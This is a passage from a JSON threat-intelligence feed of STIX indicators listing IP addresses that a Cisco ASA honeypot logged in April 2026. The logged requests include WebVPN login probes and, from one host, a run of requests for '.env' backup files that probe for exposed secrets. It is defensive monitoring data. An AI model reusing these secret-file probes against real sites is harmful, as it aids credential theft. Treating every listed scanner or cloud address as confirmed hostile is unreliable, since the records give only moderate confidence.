          "first_seen": "2026-04-22T03:15:24.930Z",
          "last_seen": "2026-04-22T03:15:24.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: PRI * HTTP/2.0\" 505 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--e8bb1a9b-915e-48b1-923a-8841d130c402",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '134.209.63.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:20:11.000Z",
      "valid_until": "2026-05-24T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-22T03:20:13.350Z",
          "last_seen": "2026-04-22T03:20:13.351Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"PRI * HTTP/2.0\" 505 -",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--c8a1f9ae-13a4-4a47-8392-26479bbcbeab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:20:11.000Z",
      "valid_until": "2026-05-24T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-22T03:47:20.422Z",
          "last_seen": "2026-04-26T06:14:53.213Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9057c6d4-b402-40d5-9765-e6ee810d223a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T04:20:11.000Z",
      "valid_until": "2026-05-24T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-19T07:32:43.412Z",
          "last_seen": "2026-04-29T06:22:10.038Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: FR; ASN 13335 (Cloudflare, Inc.)",
      "id": "indicator--1f910275-2fd2-450e-aaec-11f74b3ef3ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.28.164.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:20:10.000Z",
      "valid_until": "2026-05-24T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-22T05:00:39.708Z",
          "last_seen": "2026-04-22T05:37:25.964Z",
          "country": "France",
          "country_code": "FR",
          "asn": 13335,
          "as_org": "Cloudflare, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /.env.backup HTTP/1.1\" 404 -",
            "\"GET /.env.bak HTTP/1.1\" 404 -",
            "\"GET /.env.dev HTTP/1.1\" 404 -",
            "\"GET /.env.development.local HTTP/1.1\" 404 -",
            "\"GET /.env.docker HTTP/1.1\" 404 -",
            "\"GET /.env.live HTTP/1.1\" 404 -",
            "\"GET /.env.local HTTP/1.1\" 404 -",
            "\"GET /.env.old HTTP/1.1\" 404 -",
            "\"GET /.env.prod HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--588f11ad-1b74-41a1-a33e-ad9499a086d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:20:10.000Z",
      "valid_until": "2026-05-24T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-22T05:19:49.453Z",
          "last_seen": "2026-04-22T05:19:52.456Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--74de86e3-bb49-43ca-89b5-134f5156ecf2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.119.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:20:10.000Z",
      "valid_until": "2026-05-24T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-22T04:38:24.002Z",
          "last_seen": "2026-04-30T02:28:12.542Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5a524877-d219-4c43-a921-5dacbd4aebb4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:20:10.000Z",
      "valid_until": "2026-05-24T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-22T04:21:37.022Z",
          "last_seen": "2026-04-24T12:07:24.203Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--9b89c09d-5cf6-403e-bcd6-3f41628f1121",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T05:20:10.000Z",
      "valid_until": "2026-05-24T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-22T04:52:37.236Z",
          "last_seen": "2026-04-22T04:53:15.298Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9eb4a15d-009d-4737-be9a-741b99dbd1de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:20:10.000Z",
      "valid_until": "2026-05-24T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-22T10:03:24.833Z",
          "last_seen": "2026-04-27T23:56:09.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--461ba26c-dcd1-4437-a38d-ddddacf7dfae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:20:10.000Z",
      "valid_until": "2026-05-24T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-22T09:41:42.330Z",
          "last_seen": "2026-04-27T19:49:26.435Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a1c15586-21cd-43f4-8c3c-f2eb5f732cfd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:20:10.000Z",
      "valid_until": "2026-05-24T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-22T09:41:28.733Z",
          "last_seen": "2026-04-22T09:41:36.204Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f150f702-3c00-4464-a725-d7bdfa00510c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:20:10.000Z",
      "valid_until": "2026-05-24T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-22T09:45:14.794Z",
          "last_seen": "2026-04-25T12:53:43.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e178286d-cc94-49a8-9511-c7c7ee39df0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T10:20:10.000Z",
      "valid_until": "2026-05-24T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-22T09:58:03.122Z",
          "last_seen": "2026-04-29T19:18:38.754Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T11:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--a996589d-1fa1-404a-b589-62662b175319",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:20:18.000Z",
      "valid_until": "2026-05-24T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-22T11:17:57.535Z",
          "last_seen": "2026-04-29T03:29:00.824Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T11:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--1f5b6cdb-3e08-42e0-9bc9-941a87a70587",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:20:18.000Z",
      "valid_until": "2026-05-24T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-22T10:53:28.802Z",
          "last_seen": "2026-04-22T10:53:35.804Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T11:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--51377c8c-d480-4950-96c5-eccbf0f2cda3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:20:18.000Z",
      "valid_until": "2026-05-24T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-22T10:55:43.581Z",
          "last_seen": "2026-04-22T10:55:51.578Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T11:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e1543b3e-8c86-4e18-9f7e-d63f86b54659",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:20:18.000Z",
      "valid_until": "2026-05-24T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-22T10:50:48.090Z",
          "last_seen": "2026-04-23T18:01:30.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T11:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bab7b55b-2d4b-47de-aa58-878e3aaec822",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T11:20:18.000Z",
      "valid_until": "2026-05-24T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-18T13:15:47.905Z",
          "last_seen": "2026-04-28T05:08:10.231Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--7ff91a35-13e1-4b52-a5cb-cd6fd235e6dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '13.221.95.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-23T00:53:07.825Z",
          "last_seen": "2026-04-23T00:53:10.828Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--5ebd17c4-eaca-4a05-a407-03cabe1614dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-23T01:15:32.786Z",
          "last_seen": "2026-04-27T22:34:37.503Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
